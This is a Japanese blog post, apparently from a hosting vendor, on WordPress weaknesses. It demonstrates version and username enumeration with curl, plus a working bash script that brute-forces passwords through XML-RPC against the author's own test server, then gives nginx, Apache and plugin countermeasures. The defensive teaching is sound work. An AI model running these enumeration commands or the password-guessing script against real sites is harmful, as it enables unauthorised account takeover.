WordPress の脆弱性とその対応

片倉洋一

昨今、サイバー攻撃に関するの話題が絶えません。
大きいところでは、KADOKAWA や JAXA 、「なろう」「カクヨム」を運営するハーメルンなど、官民問わず様々な組織がサイバー攻撃を受けました。

サイバー攻撃を防ぐためには、できる限り脆弱性を無くしておくことが必要です。
しかし、実は WordPress をただインストールした状態では、リスクが小さいながらいくつか脆弱性が残っていることはご存知でしょうか?

今回は、その WordPress の脆弱性について、一部ですがご紹介したいと思います。

なお、今回紹介した脆弱性については、以下のサイトを参考にしています。

WordPress | HackTricks

WordPress のバージョンを取得する

まずは、適当なところに KUSANAGI の VM を立てて WordPress をプロビジョンします。

プロビジョンできましたら、 WSL など Linux 環境から以下のコマンドを入力します。

curl https://(プロビジョンしたFQDN)/ | grep 'content="WordPress'

コマンドに間違いがなければ、以下のような結果が得られたと思います。

$ curl https://(プロビジョンしたFQDN)/ | grep 'content="WordPress'
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 85869    0 85869    0     0   135k      0 --:--:-- --:--:-- --:--:--  135k
<meta name="generator" content="WordPress 6.5" />
$

これで、動いている WordPress のバージョンが確認できます(今回は 6.5 )。
WordPress のバージョンによって、対策されている脆弱性が異なります(バージョン古いほど脆弱性が多い)ので、これも有益な情報です。

WordPress のユーザー名を取得する

それでは続いて、以下のコマンドを入力してください。

curl -s -I -X GET https://(プロビジョンしたFQDN)/?author=1

コマンドに間違いがなければ、以下のような結果が得られたと思います。

$ curl -s -I -X GET https://(プロビジョンしたFQDN)/?author=1
HTTP/2 301
server: nginx
date: Thu, 27 Jun 2024 03:43:58 GMT
content-type: text/html; charset=UTF-8
location: https://(プロビジョンしたFQDN)/author/admin/
x-b-cache: BYPASS
x-redirect-by: WordPress
x-xss-protection: 1; mode=block
x-frame-options: SAMEORIGIN
x-content-type-options: nosniff
alt-svc: h3=":443"; ma=2592000
x-f-cache: BYPASS
x-signature: KUSANAGI

$

今回の例ですと 「admin」 というユーザー名が取得できました。
URL のレスポンスコード(上記の例では HTTP/2 301 の部分)が 30x もしくは 200 であればそのユーザー名は有効ということになります。
今回攻撃に使った URL の ?author= に対してブルートフォース(スクリプトなどを使って 1 から連番で URL を投げる)を行えば、有効なユーザー名の一覧が取得できます。

別の手段で、以下の URL を使用してユーザー名を取得することもできます。

curl https://(プロビジョンしたFQDN)/wp-json/wp/v2/users | jq .

XML-RPC を利用する

WordPress は XML-RPC という機能をデフォルトで有効化してあります。

XML-RPC Support « WordPress Codex

この機能はリモートで WordPress が操作可能なので、便利な反面、セキュリティリスクを抱えています。
現在、 WordPress はこの機能を推奨せず、リモートで WordPress を操作する場合は REST API を使うことを推奨しています。
この機能はあくまで、 WordPress が重視する後方互換のために残された機能です。
とはいえ、そんな事を知らないユーザーからすれば、デフォルトでこの機能が有効になっていることさえ知らないでしょう。

それでは、この機能を利用してどのようなことが行えるか見ていきます。

XML-RPC で利用できる処理を確認する

まずは、 XML-RPC で利用できる処理を確認するために、以下の内容の xml ファイルを用意します。

<methodCall>
    <methodName>system.listMethods</methodName>
    <params></params>
</methodCall>

続いて、その xml ファイルを使って以下のコマンドを実行します。

curl https://(プロビジョンしたFQDN)/xmlrpc.php -X POST -H 'Content-Type: application/xml' -d @(上記 xml ファイルパス)

コマンドに間違いがなければ、以下のような結果が得られたと思います。

$ curl https://(プロビジョンしたFQDN)/xmlrpc.php -X POST -H 'Content-Type: application/xml' -d @(上記 xml ファイルパス)
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <params>
    <param>
      <value>
      <array><data>
  <value><string>system.multicall</string></value>
  <value><string>system.listMethods</string></value>
  <value><string>system.getCapabilities</string></value>
:
(中略)
:
  <value><string>wp.editPost</string></value>
  <value><string>wp.newPost</string></value>
  <value><string>wp.getUsersBlogs</string></value>
</data></array>
      </value>
    </param>
  </params>
</methodResponse>
$

ここで表示されている値が、 XML-RPC で利用できる処理となります。
それではさらに、この処理を使ってユーザーのパスワードを取得してみます。

WordPress のユーザーのパスワードを取得する

まずは、パスワードの取得に使えそうな機能が XML-RPC にあるか確認します。
以下のコマンドを入力してください。

curl https://(プロビジョンしたFQDN)/xmlrpc.php -X POST -H 'Content-Type: application/xml' -d @(上記 xml ファイルパス) | grep -E '(wp.getUserBlogs|wp.getCategories|metaWeblog.getUsersBlogs)'

コマンドに間違いがなければ、以下のような結果が得られたと思います。

$ curl https://(プロビジョンしたFQDN)/xmlrpc.php -X POST -H 'Content-Type: application/xml' -d @(上記 xml ファイルパス) | grep -E '(wp.getUserBlogs|wp.getCategories|metaWeblog.getUsersBlogs)'
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  4365    0  4272  100    93   9422    205 --:--:-- --:--:-- --:--:--  9614
  <value><string>metaWeblog.getUsersBlogs</string></value>
  <value><string>wp.getCategories</string></value>
$

2つ使えそうな機能がありました。
「metaWeblog.getUsersBlogs」と「wp.getCategories」です。
今回は、 metaWeblog.getUsersBlogs を使ってパスワードを取得してみます。

今度は、以下のようなシェルスクリプトを用意します。

#!/bin/bash

url="https://(プロビジョンしたFQDN)/xmlrpc.php"
username="admin"
passowrds=(
    "password"
    "Password"
    "PASSWORD"
    "passw0rd"
    "Passw0rd"
    "PASSW0RD"
)

for password in "${passowrds[@]}"
do
cat <<EOF > getUsersBlogsTest.xml
<methodCall>
<methodName>metaWeblog.getUsersBlogs</methodName>
<params>
<param><value>1</value></param>
<param><value>$username</value></param>
<param><value>$password</value></param>
</params>
</methodCall>
EOF
is_fault=$(curl $url -X POST -H 'Content-Type: application/xml' -d @getUsersBlogsTest.xml -s | grep 'faultCode')
if [[ -z "$is_fault" ]]; then
    echo "Correct password = $password"
fi
done

シェルスクリプトの内容は、上記の 2. で判明しているユーザー名のパスワードを取得するために、よくありそうなパスワードを用意し、そのユーザー名とパスワード一覧を使って XML-RPC に metaWeblog.getUsersBlogs という処理を連続して実行させて、エラーにならなかった場合、そのパスワードを表示する内容になっています。

それでは、実際に実行してみましょう。

$ /bin/bash (上記のシェルスクリプトのパス)
Correct password = Passw0rd
$

ヒットしました。
どうやらこの環境の「admin」というユーザー名のパスワードは「Passw0rd」のようです。
ユーザー名とパスワードが判別してしまうと、様々な問題が起きることは想像に難くありません。

対策

上記のように、 WordPress にはリスクが小さいとはいえ、いくつか脆弱性があることが確認できました。
以降は、それらの対策について記載していきます。

WordPress のバージョンを非表示にする

リスクとしてはかなり小さいですが、バージョンが見えていることも攻撃者に情報を与えています。
このバージョンを隠すためには、現在利用しているテーマの functions.php に以下のコードを追加することで、表示されなくなります。

remove_action('wp_head', 'wp_generator');

投稿者アーカイブへのリダイレクトの無効化

https://(プロビジョンしたFQDN)/?author=1 にアクセスした場合にユーザー名が表示されるのは、 WordPress の機能である投稿者アーカイブへリダイレクトされているためです。
もし、この機能が不要であるならば無効化しておくのが賢明です。
現在利用しているテーマの functions.php に以下のコードを追加することで、 ?auther=1 にアクセスしても投稿者アーカイブへリダイレクトされずに、トップページリダイレクトされるようになります。

function disable_author_archive_redirect() {
    if( preg_match('/author=([0-9]*)/i', $_SERVER['QUERY_STRING'])){
        wp_redirect(home_url());
        exit;
    }
}
add_action('init', 'disable_author_archive_redirect');

wp-json 機能を制限

もう1つ、 wp-json 機能を利用してユーザー名が取得できました。
wp-json は便利な機能ですが、反面リスクも抱えています。
wp-json はプラグインでも使用しているので、機能の無効化ではなく /wp-json/ へのアクセスに IP アドレスの制限をかけるなどの対策を行うのが良いでしょう。

  • nginx の設定ファイルに記載

Web サーバーに nginx を利用している場合は、以下のような設定を nginx の設定ファイルに記載することで、 /wp-json/ へのアクセスを制限できます。

location /wp-json/ {
    satisfy all;
    allow (許可したい IP アドレス);
    deny all;
    try_files $uri $uri/ /index.php?$args;
}
  • .htaccess ファイルに記載

Web サーバーに Apache httpd を利用している場合は、以下の内容を記載した .htaccess ファイルをドキュメントルートに配置することで、 /wp-json/ へのアクセスを制限できます。

<Directory "/wp-json/">
  Require all denied
  Require ip (許可したい IP アドレス)
</Directory>

パスワードの複雑化

分かりやすい、桁が少ないパスワードはブルートフォースによって簡単にパスワードを暴かれます。
パスワードはできる限り複雑になるように、使用する文字種は大文字+小文字+数字+記号で、桁も12桁以上で自動生成したパスワードを使用することを推奨します。
パスワードの複雑さが高くなるほど、突破されるまでの時間が長くなります。
以下に、情報としては古いですがパスワードの複雑さと突破されるまでのおよその時間を表にしたグラフが記載された、 reddit の投稿を記載しておきます。

[OC] I hope you find this one more beautiful than the last – updated table on time to brute force passwords : r/dataisbeautiful

パスワードの自動生成の例をいくつか記載しておきます。

  • mkpasswd

AlmaLinux OS や CentOS であれば mkpasswd コマンドを使用して生成できます。
mkpasswd のデフォルトの文字種は大文字+小文字+数字+記号になっています。
オプション -l に数字を渡すことで、その桁のパスワードが自動生成されます。

# mkpasswd -l 12
pawN8;w3Fhbe
#
  • pwgen

Ubuntu の場合であれば pwgen コマンドを使用して生成できます。
pwgen のデフォルトの文字種は大文字+小文字+数字になっています。
オプションに -y を渡すことで文字種に記号を追加でき、第1引数が桁、第2引数が出力するパスワードの数になります。

$ pwgen -y 12 1
IVo;quaiw3pe
$
  • Webサイト

他にもパスワードを自動生成してくれる Web サイトがありますので、そちらを利用する方法もあります。

強力なランダムパスワードを取得 | トレンドマイクロパスワード作成ツール

XML-RPC 機能の無効化

今回、一番大きいリスクは XML-RPC が有効だという点です。
上記しましたように、 XML-RPC は現在利用を推奨されていないため、無効化するのが賢明です。
以下に無効化する方法をいくつか記載します。

  • nginx の設定ファイルに記載

Web サーバーに nginx を利用している場合は、以下のような設定を nginx の設定ファイルに記載することで、 /xmlrpc.php へのアクセスを無効化できます。

location = /xmlrpc.php {
        return 403;
}
  • .htaccess ファイルに記載

Web サーバーに Apache httpd を利用している場合は、以下の内容を記載した .htaccess ファイルをドキュメントルートに配置することで、 /xmlrpc.php へのアクセスを無効化できます。

<Files "xmlrpc.php">
  Require all denied
</Files>
  • 無効化プラグインを利用

Disable XML-RPCプラグインなど、 XML-RPC を無効化するプラグインがありますので、こういったプラグインを利用すれば、手軽に無効化できます。

Disable XML-RPC – WordPress プラグイン | WordPress.org 日本語

XML-RPC 機能の IP アドレス制限

事情があり、 XML-RPC の機能を利用せざるを得ないのであれば、 /xmlrpc.php へのアクセスに IP アドレスの制限をかけるなどの対策を行ってください。

  • nginx の設定ファイルに記載

Web サーバーに nginx を利用している場合は、以下のような設定を nginx の設定ファイルに記載することで、 /xmlrpc.php へのアクセスを制限できます。

location = /xmlrpc.php {
    satisfy all;
    allow (許可したい IP アドレス);
    deny all;
}
  • .htaccess ファイルに記載

Web サーバーに Apache httpd を利用している場合は、以下の内容を記載した .htaccess ファイルをドキュメントルートに配置することで、 /xmlrpc.php へのアクセスを制限できます。

<Files "xmlrpc.php">
  Require all denied
  Require ip (許可したい IP アドレス)
</Files>

その他、色々対策があります。
TOP で紹介したサイトや Kinsta などでも紹介されていますので、是非参考にしてください。

WordPress | HackTricks

WordPressのxmlrpc.php徹底解説(無効化すべきセキュリティ上の理由とその方法) | Kinsta®

まとめ

Webサイトは日々、サイバー攻撃にさらされています。
大丈夫だと思っていても、いつ情報が漏洩したり、DDoS 攻撃を受けたり、ランサムウェアを仕込まれたりするか分かりません。
セキュリティ意識を高く持ち、脆弱性にきちんと対策をすることが必要です。

<< Microsoft Entra IDを使用したZabbix SAMLのセットアップregreSSHionというOpenSSHの脆弱性について徹底解説 >>

関連記事

Webサイト運用の課題解決事例100選 プレゼント

Webサイト運用の課題を弊社プロダクトで解決したお客様にインタビュー取材を行い、100の事例を108ページに及ぶ事例集としてまとめました。

・100事例のWebサイト運用の課題と解決手法、解決後の直接、間接的効果がわかる

・情報通信、 IT、金融、メディア、官公庁、学校などの業種ごとに事例を確認できる

・特集では1社の事例を3ページに渡り背景からシステム構成まで詳解